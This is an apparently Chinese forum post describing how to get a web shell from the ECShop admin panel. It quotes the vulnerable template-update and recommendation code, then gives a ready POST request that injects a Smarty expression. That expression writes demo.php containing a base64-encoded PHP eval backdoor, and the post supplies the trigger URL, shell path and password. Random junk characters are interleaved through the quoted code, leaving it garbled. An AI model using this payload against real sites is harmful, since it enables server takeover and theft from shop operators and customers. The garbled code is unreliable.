Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

$ R# p4 x1 ]! J. @而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
& C$ Y4 u0 P/ `! f
  `7 r# U2 l+ N& F) o% D# i/ S1 if ($_REQUEST['act'] == 'update_library')

2   
; \2 \, I# l$ f2 V9 B: E
3 {
* B* Q( |0 |( u  o& P
4     check_authz_json('library_manage');

5   
9 g5 F( ^+ P5 f9 P
6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

# _8 K; O6 g& z* t2 j* x0 ^, H7 U( c8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
$ M$ k9 _% U$ p2 f% _9 q" H
9   
* N4 R' u# o( X7 K
- Z7 n% I6 e8 x- S: y: v10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
" |% [# n( Z, g" L: D$ n9 C
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
: P8 N5 e4 C0 H+ e
0 w- `2 K2 a; S& d( T$ g14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
, D: @- \0 Z% n$ ]
9 V* E+ x% E7 D) B# l15     {

4 o( s6 g7 `7 c# h7 R+ D! }9 |16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

7 C# Y# l5 @3 K! ?, ?7 X17         make_json_result('', $_LANG['update_lib_success']);

18     }
6 @& j5 `5 w8 W2 f
2 J4 t3 w+ _! q19     else
# [7 {" s0 u  j/ {" Z$ l
20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
. [  I, k2 ^9 Z, }8 Z
22     }

23 }
1 q+ q7 B& ?9 p0 s6 v! S% n- p
那么找个比较方便调用了模板的文件
index.php
% O# y) G1 P$ Q1 O4 U
1 if ($act == 'cat_rec')
, |4 Q' l4 o7 M1 \2 z8 V# n
2   
, S' R9 ^1 T# l5 h# K
3 {
9 p# w" d4 n0 E
0 s% H. y5 b! f2 {4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

! a( N: n9 {! e6   
: m5 z4 o7 Q3 D1 O; T( n; V# Q' E
, B) Y( e4 _: F' k( H7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
& ?5 k5 r9 V) Q# t4 c
10   
6 v2 m0 S% }& H: e4 `
: R( |3 _$ K- I. }. ?5 f11     include_once('includes/cls_json.php');

12   
5 k  b3 O/ D$ I9 c* c, z' k
13     $json = new JSON;

5 p+ x. v: I3 N# t! N- _14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

1 i4 ?9 ]! j0 M2 s7 ]/ e16   
- S" u+ Q2 p" g; q9 a' x
17     $children = get_children($cat_id);
  M! `2 K- K$ e- N
18   
' h$ O8 s) n+ M5 d0 x4 g% a$ A* r2 b
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

" g! X3 b+ L% F' d/ r20   

21     $smarty->assign('cat_rec_sign', 1);
8 w+ ~% k/ K9 x' H: v
% t/ t( {6 i. j5 _22   

" X. n; k! Y1 X6 M) E8 k23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

3 `5 R# K( z% k6 r24   
* x8 \1 u% v" K: I, K$ x$ q9 q& q
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
9 m- m; G9 W7 I# ~
. q% E6 p/ M! O26   
) x& g& \( t+ Q" D4 ?: G* k
" J5 H1 O2 Q4 e1 A; }$ |27         echo $rec_array[$rec_type];

28   
3 o( X3 N# m% A* A
; X9 K' J+ P& H/ m29     die($json->encode($result));

3 d5 O" x9 Y: ]5 m8 w8 }$ [30   
: L) j6 A$ t/ f
/ q' O: ?* O- R  `31 }

# D) D1 H; Y: \$ B那么就有利用方法了
! g" I. |1 V) k% S- t3 {+ e* S0 H; `post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
* K8 T- i7 n1 Y
​
3 `. o5 ^2 z$ i# G8 ~1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
+ B/ _. ^/ S: ~/ I+ \/ ^
shel地址：http://localhost/ec/demo.php
密码c